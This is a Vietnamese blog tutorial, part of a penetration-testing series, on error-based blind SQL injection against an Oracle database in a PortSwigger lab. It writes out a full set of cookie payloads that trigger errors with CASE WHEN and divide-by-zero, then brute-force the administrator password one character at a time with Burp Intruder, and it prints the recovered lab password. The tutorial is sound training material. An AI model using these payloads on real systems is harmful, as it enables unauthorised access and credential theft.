NỘI DUNG
Tiếp theo nội dung Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 5), kỳ này tôi sẽ chiến tiếp một thể loại trâu chó khác nhưng vẫn thuộc Blind SQL Injection.
Với kỳ trước, bạn có thể triển khai mưu đồ thâm độc thành công vì có thể dẫn dắt cho mục tiêu trả về thông tin phản hồi nhất định (sự xuất hiện của message “Welcome back”) tùy theo boolean condition mà bạn thiết lập trong query. Nhưng nếu ứng dụng không phản hồi rõ ràng kiểu như cái message “Welcome back” nói trên thì không lẽ tôi đành cắp đít quay về trong tủi nhụt sao?
Rất may, tôi còn có một đường binh khác cho tình huống này – đó là dựa vào các SQL errors trả về từ ứng dụng. Điểm khó ở đây là tôi phải có thể thiết lập các điều kiện để kiểm soát việc ứng dụng trả về thông báo lỗi khi tôi muốn (và ngược chạy – nghĩa là không phát sinh lỗi).
Nếu nghe đến đây bạn thấy có vẻ mơ hồ thì cứ bình tĩnh. Kéo chuột xuống dưới đọc dần dần thì mọi chuyện sẽ sáng tỏ.
Lưu ý:
- Tương tự như các kỳ trước, tôi cũng sẽ tận dụng các bài Lab dựng sẵn của ông PortSwigger để tiết kiệm thời gian dàn cảnh;
- Thông tin liên quan đến Burp Suite bạn có thể xem nội dung Penetration Testing Step 3 – 6 điều bạn nên biết trước khi xài tool khủng Burp Suite;
- Chi tiết việc sử dụng Burp Suite Repeater bạn có thể xem trong nội dung Penetration Testing Step 3 – Thủ thuật chọc ngoáy HTTP/WebSockets message với Burp Suite Repeater;
- Chi tiết việc sử dụng Burp Suite Intruder bạn có thể xem trong nội dung Penetration Testing Step 3 – Chuẩn bị đổ mưa bom, bão đạn lên mục tiêu với Burp Suite Intruder;
- Để tập trung vào vấn đề chính, tôi sẽ xúc nội dung demo với các dữ liệu có sẵn bao gồm: Database có tồn tại bảng Users với cột Username và Password; Có một username Administrator xử dụng password dài 20 ký tự chỉ bao gồm các ký tự chữ thường a-z và số 0-9. Thực tế đây là các thông tin quan trọng và bạn phải bỏ công ra xác định như tôi đã giới thiệu trong các kỳ trước đó.
#1. Dùng SQL query để điều khiển việc ứng dụng phát sinh lỗi liệu có khả thi?
Sau khi truy cập vào mục tiêu, tôi dùng Burp Suite Repeater thử quất phát thăm dò đầu tiên với single quotation kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN '

Với response trên, tôi thấy tín hiệu khả quan khi nhận về status code 500. Từ đây, tôi đâm tiếp phát thứ 2 với doube quotation:
TrackingId=ntI95YOGFqZxJ0uN''

Như bạn có thể thấy, lúc này tình hình sẽ OK với status code 200 được trả về. Việc này cho thấy syntax error (cụ thể lỗi là khi không đóng quotation mark) sẽ có thể gây tác động đến response (trả về code 500 khi có syntax error).
Việc kế tiếp tôi cần xác nhận là ứng dụng có thật sự “ăn” cái SQL query tôi đút vào và làm phát sinh lỗi không hay vấn đề là do một cái lỗi ất ơ nào khác mà tôi không kiểm soát được. Để làm việc này, tôi có thể đút vào tiếp một cái SQL query phù hợp với syntax và thuần phong mỹ tục kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '')||'

Dù cái syntax trông đã có vẻ chuẩn nhưng tôi vẫn bị cái status code 500 nó tương vào mồm. Việc này có thể phát sinh từ syntax khác nhau của các loại database (cụ thể là với Oracle, tôi sẽ cần chỉ định rõ tên bảng trong query như giới thiệu trong nội dung Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 2)). Tôi cập nhật query và thử lại vận may:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '' FROM dual)||'

Thơm, cái status code 200 trả về cho phép tôi xác nhận nghi ngờ về database type trước đó. Kế đến tôi sẽ cố tình chỉnh sửa lại cái query trên cái nền syntax chuẩn đã xác định theo kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '' FROM fake-table)||'

Vì làm méo gì có cái bảng fake-table nên cái query trên sẽ trả về status code 500 như tôi mong đợi. Điều này cũng hàm ý rằng query (đúng syntax, nhưng với thông tin sai về tên bảng) tôi đút vào đã được xử lý. Và đến đây tôi có thể kết luận việc điều khiển cho ứng dụng trả về lỗi dựa trên query đưa vào là khả thi.
#2. Blind SQL Injection chiêu thứ 1 – Xác định sự tồn tại của bảng trong database
Nhờ vào thông tin xác nhận ở trên, tôi sẽ có thể bày vẽ ra nhiều trò đâm thọt. Và trò đầu tiên tôi cần là xác định thông tin các bảng trong database. Cụ thể, tôi sẽ có thể mông má ra cái query để xác nhận sự tồn tại của bảng users kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT '' FROM users WHERE ROWNUM = 1)||'

Lưu ý: Cái WHERE ROWNUM = 1 là để ngăn query trả về nhiều hơn 1 dòng dẫn đến banh chành cái mưu đồ concatenation
Và như bạn thấy ở trên, lần này cái status code 200 trả về đã giúp tôi xác định tiếp một thông tin quan trọng là sự tồn tại của bảng users.
#3. Blind SQL Injection chiêu thứ 2 – Kiểm tra kết quả thăm dò dựa vào SELECT CASE và Burp Suite Repeater
#3.1 Xây dựng syntax chuẩn cmnm để kiểm tra
Kế đến, tôi sẽ thử thăm dò phản hồi của mục tiêu thông qua bài kiểm tra các điều kiện với query kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Vì 1=1 trả về kết quả True dẫn đến việc triển cái TO_CHAR(1/0) nên tôi sẽ làm phát sinh lỗi (divde by zero) và ghi nhận cái status code 500 như ở trên.
Giờ tôi thử cập nhật lại query thành:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'

Lần này, vì 1=2 cho kết quả False nên phần “ELSE ”” sẽ được thực thi. Thằng này sẽ không làm phát sinh lỗi như trường hợp trước đó nên tôi sẽ có thể nhận về status code 200 như trên.
#3.2 Kiểm tra sự tồn tại của username
Với việc đã có trong tay phương án kiểm tra kết quả thăm dò, tôi có thể bắt đầu đâm thọc sâu hơn thông qua query kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Theo response trên, tôi có thể xác nhận việc tồn tại một username administrator trong bảng users.
#3.3 Kiểm tra độ dài password
Công việc kế tiếp sẽ tương tự như kỳ trước. Đầu tiên tôi sẽ dựng một query để xác nhận độ dài pasword của ông administrator lớn 1 hơn 1:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Sau đó tôi kiểm tra giới hạn trên của độ dài password là không quá 20 ký tự.
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN LENGTH(password)>20 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Và chạy tiếp một query để xác nhận độ dài của password chính xác là 20 ký tự.
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN LENGTH(password)>19 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

#4. Blind SQL Injection chiêu thứ 3 – Giết trùm cuối admin với Burp Suite Intruder
#4.1 Bắn tỉa xác định ký tự đầu tiên của password
Sau khi xác định xong độ dài password, cũng tương tự như nội dung kỳ trước, tôi sẽ đẩy hàng qua Burp Suite Intruder để bắt tay vào mảnh ghép cuối cùng là xác định cụ thể password là gì. Ở đây, bạn cũng nhớ lưu ý chọn Clear § để xóa các thiết lập Payload Positions mặc định của Burp Suite.

Sau đó, sử dụng Sniper attack, tôi đặt thủ công lại payload vào vị trí ký tự a (sử dụng Add §) tương ứng với query kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN SUBSTR(password,1,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Chuyển qua tab con Payloads, tôi sẽ sử dụng Simple list và nạp vào các chữ cái a-z và số 0-9 thông qua việc sử dụng Add from list.

Hàng họ đã thiết lập xong tôi có thể bóp cò với nút Start attack để bắn tỉa và thu lượm kết quả.

Với bảng kết quả thu được, tôi có thể sort thông tin theo cột Status và đọc dữ liệu từ dòng có status code 500 để xác định ký tự đầu tiên của password (số 3 như hình minh họa trên).
#4.2 Quăng bom chùm vét sạch toàn bộ ký tự password
Với logic ở trên, tôi có thể lần lượt gia tăng chỉ số ký tự trong password để tấn công bằng query kiểu như sau:
TrackingId=ntI95YOGFqZxJ0uN'||(SELECT CASE WHEN SUBSTR(password,2,1)='§a§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Tuy nhiên, cũng giống như nội dung kỳ trước, tôi có thể triển một giải pháp tinh tế hơn với Attack type Cluster bomb để đẩy payload vào 2 vị trí là chỉ số ký tự password và ký tự cần so sánh.

Rồi tôi thiết lập cho payload thứ nhất tương ứng với chỉ số vị trí các ký tự trong password.

Sau đó thiết lập cho payload thứ 2 tương tự như trước đó.

Rồi nhất nút Start attack quăng bom và ung dung thu lượm dữ liệu trả về.

Cũng với bước sorting dựa vào cột Status, tôi có thể chơi trò xếp hình để nhanh chóng xác định password cho trùm cuối administrator: 33xbrr1rm8xoyf0uc74k.

Và bùm, tôi chui tọt vào hệ thống với quyền lực tuyệt đối của kẻ mà ai cũng biết là ai. Đến đây tôi cũng xin kết thúc nội dung kỳ này. Hẹn gặp lại bạn trong kỳ tiếp theo với các tình tiết ly kỳ hơn.
1 thought on “Penetration Testing Step 3 – Các thể loại SQL injection phổ biến (Part 6)”